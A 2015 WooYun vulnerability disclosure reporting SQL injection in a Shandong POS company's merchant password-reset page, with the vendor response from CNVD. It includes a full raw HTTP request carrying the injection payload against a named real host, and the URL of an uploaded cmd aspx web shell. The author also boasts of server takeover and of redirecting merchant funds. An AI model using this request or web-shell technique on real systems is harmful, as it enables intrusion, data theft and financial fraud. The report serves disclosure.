当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0137580

漏洞标题：山东某POS行业巨头商户系统SQL注入（泄露大量商户信息/服务器掌握/伪造任意金额体现）

相关厂商：山东麦枫网络科技有限公司

漏洞作者： king7

提交时间：2015-08-30 12:48

修复时间：2015-10-17 10:42

公开时间：2015-10-17 10:42

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-30： 细节已通知厂商并且等待厂商处理中
2015-09-02： 厂商已经确认，细节仅向厂商公开
2015-09-12： 细节向核心白帽子及相关领域专家公开
2015-09-22： 细节向普通白帽子公开
2015-10-02： 细节向实习白帽子公开
2015-10-17： 细节向公众公开

简要描述：

我其实是个卖pos鸡的.....

详细说明：

从前台商户找回密码处发现注入，获得一个普通权限登录，发现任意上传。提权拿到服务器
大部分日照和淄博还有青岛的户，这个竟然可以体现，也是厉害，那我们去列一下有钱的户，改成我们的账户，爆炸啊~~~
危害还可以参考下这个 WooYun: 国内POS机行业巨头某系统漏洞（涉及多家银行/上万家商户资料与代理信息等）
虽然没我上游厉害，，，

漏洞证明：

POST /PGWeb/findPassword.aspx HTTP/1.1
Host: mer.strpay.com
Content-Length: 1279
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://mer.strpay.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://mer.strpay.com/PGWeb/findPassword.aspx
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=yc2tnv3p3tqzewtpconxnkkr
__VIEWSTATE=%2FwEPDwUKMTEwNzEwMTA3OA9kFgYCAQ9kFgICAQ9kFgJmDxYCHgRUZXh0BR7puqbmnqvnvZHnu5zph5Hono3mlK%2Fku5jkuK3lv4NkAgMPZBYCAgMPEGQPFgkCAQICAgMCBAIFAgYCBwIIAgkWCRAFJ%2BaIkeWwseivu%2BeahOesrOS4gOaJgOWtpuagoeeahOWQjeensO%2B8nwUBMWcQBSfmiJHmnIDllpzmrKLnmoTkvJHpl7Lov5DliqjmmK%2Fku4DkuYjvvJ8FATJnEAUh5oiR5pyA5Zac5qyi55qE6L%2BQ5Yqo5ZGY5piv6LCB77yfBQEzZxAFIeaIkeacgOWWnOasoueahOeJqeWTgeeahOWQjeensO%2B8nwUBNGcQBRjmiJHmnIDllpzmrKLnmoTmrYzmm7LvvJ8FATVnEAUY5oiR5pyA5Zac5qyi55qE6aOf54mp77yfBQE2ZxAFG%2BaIkeacgOeIseeahOS6uueahOWQjeWtl%2B%2B8nwUBN2cQBRXmiJHmnIDniLHnmoTnlLXlvbHvvJ8FAThnEAUV5oiR5aaI5aaI55qE55Sf5pel77yfBQE5Z2RkAgUPFgIfAAWyATxwPkNvcHlyaWdodDIwMDMtMjAxMizniYjmnYPmiYDmnInvvJrpuqbmnqvnvZHnu5znp5HmioDmnInpmZDlhazlj7jvvIzlu7rorr7ov5DokKXvvJrpuqbmnqvnvZHnu5znp5HmioDmnInpmZDlhazlj7gmbmJzcDs8YnIgLz7nvZHnq5nlpIfmoYjlj7fvvJog6bKBSUNQ5aSHMTIwMDE4ODDlj7ctMTxiciAvPjwvcD5kGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjHfV021awTJOXGeiSCjLRZskDbPIhVfFbrEIhN%2Bzj6n%2Fg%3D%3D&__EVENTVALIDATION=%2FwEWDgL36vmJCQKyzcaDDQLq3reWAgL13reWAgL03reWAgL33reWAgL23reWAgLx3reWAgLw3reWAgLz3reWAgLi3reWAgLt3reWAgK9jZETAtLCmdMIsDUsX2EPyoIm55qiw%2B4r%2F2AQI6zrDK5484W%2BSwRZIps%3D&email=aaaaa%40qq.com&tokenSn=&pwdQuestion=2&question=&answer=aa%27&ImageButton1.x=128&ImageButton1.y=18

POST数据包

1111.png

admin.png

whoami.png

3389.png

1234.png

12345.png

db.png

db1.png

db2.png

pos.png

体现.png

体现1.png

冻结.png

http://mer.strpay.com/upload/2015082810401323-1a347a9c87f54660a7e67150cf5d6f57.aspx

cmd aspx

修复方案：

版权声明：转载请注明来源 king7@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-09-02 10:40

厂商回复：

CNVD确认并复现所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案并协调相关用户单位处置。

最新状态：

暂无